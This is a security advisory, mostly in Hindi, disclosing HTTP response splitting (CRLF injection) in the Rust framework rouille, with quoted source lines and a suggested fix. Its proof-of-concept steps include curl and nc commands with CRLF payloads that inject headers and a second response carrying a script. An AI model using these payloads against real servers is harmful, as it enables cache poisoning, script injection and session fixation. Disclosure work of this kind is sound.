
Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
निर्धारित CVE ID: CVE-2026-66746
rouille प्रतिक्रिया हेडर मानों को कैरिज रिटर्न या लाइन फीड के लिए जाँचे बिना क्लाइंट को लिखता है। एक एप्लिकेशन जो हमलावर-प्रभावित टेक्स्ट को हेडर मान में रखता है, इसलिए वायर पर अतिरिक्त हेडर, या एक पूरी दूसरी HTTP प्रतिक्रिया उत्सर्जित करता है।
rouille के दो गुण इसे सामान्य कोड में प्राप्त करने योग्य बनाते हैं। Request::get_param प्रतिशत-डिकोड करता है, इसलिए क्वेरी स्ट्रिंग में %0d%0a एक वास्तविक CRLF बन जाता है। और session::session क्लाइंट के अपने Cookie मान को बिना किसी सत्यापन के Set-Cookie में कॉपी करता है।
हर दूसरा व्यापक रूप से उपयोग किया जाने वाला Rust HTTP स्टैक इसे टाइप स्तर पर अस्वीकार करता है: http::HeaderValue::from_str CR और LF के लिए InvalidHeaderValue लौटाता है, यही कारण है कि hyper, axum, actix-web और warp उसी तरह उजागर नहीं होते हैं।
रिपोजिटरी URL: https://github.com/tomaka/rouille
| पहला प्रभावित | 0.4.0 (2016-12-14) नीचे दिए गए प्रतिक्रिया हेडर पथ के लिए |
| अंतिम प्रभावित | 3.6.2 (2023-04-24), वर्तमान रिलीज़ |
| इसमें ठीक किया गया | लेखन के समय कोई निश्चित संस्करण नहीं |
0.4.0 से पहले के रिलीज़ एक अलग कोड पथ के माध्यम से प्रतिक्रियाएँ उत्सर्जित करते हैं जिसकी जाँच नहीं की गई थी, इसलिए उनके बारे में किसी भी तरह से दावा नहीं किया गया है। पथ B के अंतर्गत वर्णित session::session प्रतिबिंब 0.3.2 (2016-12-02) से मौजूद है।
CWE-113 (HTTP हेडर में CRLF अनुक्रमों का अनुचित न्यूट्रलाइज़ेशन), CWE-93 (CRLF इंजेक्शन) का एक विशिष्ट मामला।
CVSS 4.0 आधार स्कोर 5.3 (मध्यम)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
पथ A के लिए एक दूरस्थ, अनधिकृत हमलावर और एक पीड़ित की आवश्यकता होती है जो हमलावर द्वारा आपूर्ति किए गए लिंक का अनुसरण करता है। हमलावर को एप्लिकेशन की आवश्यकता होती है कि वह किसी भी अनुरोध-व्युत्पन्न स्ट्रिंग को प्रतिक्रिया हेडर में डाले। next या return_to क्वेरी पैरामीटर पर रीडायरेक्ट करना सामान्य मामला है।
पथ B के लिए केवल यह आवश्यक है कि एप्लिकेशन session::session को कॉल करे और सत्र आईडी पढ़े। हमलावर अपने स्वयं के Cookie हेडर को नियंत्रित करता है, इसलिए अपने आप में यह स्व-प्रेरित है। यह दूसरों के खिलाफ हमला बन जाता है जब एक साझा कैश विभाजित प्रतिक्रिया को संग्रहीत करता है, या जब पीड़ित के ब्राउज़र में कुकी सेट करने के किसी अन्य तरीके के साथ जोड़ा जाता है।
rouille/src/lib.rs, पंक्तियाँ 624 से 640, मानों को सीधे पास करता है:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes केवल यह जाँचता है कि बाइट्स ASCII हैं, और CR और LF ASCII हैं। tiny_http-0.12.0/src/common.rs, पंक्तियाँ 166 से 172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
मान को फिर बिना किसी एस्केपिंग के लिखा जाता है। tiny_http-0.12.0/src/response.rs, पंक्तियाँ 99 से 104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param प्रतिशत एस्केप को डिकोड करता है, इसलिए कॉलर को वास्तविक नियंत्रण वर्ण प्राप्त होते हैं। rouille/src/lib.rs, पंक्तियाँ 928 से 932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs पंक्ति 59 पर क्लाइंट के कुकी से कुंजी लेता है और इसे पंक्तियों 75 से 81 पर प्रतिक्रिया हेडर में प्रक्षेपित करता है:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
चरण 1. एक सर्वर प्रारंभ करें जो क्वेरी पैरामीटर पर रीडायरेक्ट करता है।
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
चरण 2. पैरामीटर में %0d%0a के साथ अनुरोध करें।
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
परिणाम। X-Injected अपने स्वयं के हेडर के रूप में आता है:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
चरण 3. पेलोड को हेडर के अंत से आगे बढ़ाकर एक पूरी दूसरी प्रतिक्रिया उत्सर्जित करें।
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
परिणाम। एक अनुरोध, दो पूर्ण प्रतिक्रियाएँ। दूसरी में हमलावर-चुनी हुई स्थिति रेखा, सामग्री प्रकार और निकाय होता है:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
चरण 1. प्रलेखित सत्र मुहावरे का उपयोग करके एक सर्वर प्रारंभ करें।
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
चरण 2. एक कुकी भेजें जिसके मान में एक नंगा LF हो। नीचे \n एक एकल लाइन फीड है, \r\n एक CRLF है।
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
परिणाम। मान Set-Cookie से बाहर निकलकर अपनी स्वयं की पंक्ति में आ जाता है:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
पथ B की तीन सीमाएँ ध्यान देने योग्य हैं। केवल एक नंगा LF गुजरता है, क्योंकि CRLF ने tiny_http में हेडर पंक्ति को समाप्त कर दिया होता, इसलिए क्लाइंट या कैश को एक अकेले LF को टर्मिनेटर के रूप में मानना चाहिए। इंजेक्शन बिंदु के बाद सब कुछ अभी भी उसी format! से ; Max-Age=3600; Path=/; HttpOnly प्रत्यय रखता है, इसलिए आदिम एक निश्चित अनुगामी स्ट्रिंग के साथ एक हेडर है, न कि एक साफ मनमाना हेडर। और हमलावर केवल अपनी स्वयं की कुकी को नियंत्रित करता है। पथ A में इनमें से कोई भी सीमा नहीं है।
मूल के सुरक्षा संदर्भ में स्क्रिप्ट निष्पादन, कैश विषाक्तता जहां एक साझा कैश पीड़ित के URL के खिलाफ इंजेक्ट की गई प्रतिक्रिया को संग्रहीत करता है, इंजेक्टेड Set-Cookie के माध्यम से सत्र निर्धारण, और CSP या CORS जैसे सुरक्षा हेडर को ओवरराइड करना। क्योंकि पथ A एक वास्तविक CRLF उत्पन्न करता है, हर क्लाइंट और कैश उस पर विभाजित होता है।
उन्हें tiny_http को सौंपने से पहले Server::process में हेडर मानों को मान्य करें, rouille/src/lib.rs में लगभग पंक्ति 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
आपत्तिजनक हेडर को हटाने के बजाय पूरी प्रतिक्रिया के लिए 500 लौटाएं, ताकि विफलता दिखाई दे, न कि प्रतिक्रिया को चुपचाप बदल दिया जाए।
session::session में सत्र कुंजी को भी मान्य करें: एक कुकी मान को अस्वीकार करें जो [A-Za-z0-9]+ नहीं है और इसके बजाय एक नई आईडी उत्पन्न करें। Response::with_additional_header, with_unique_header और redirect_* कंस्ट्रक्टरों में जाँच करने से त्रुटि कॉल साइट पर सतह पर आ जाएगी, जहां एप्लिकेशन लेखक उस पर कार्रवाई कर सकता है।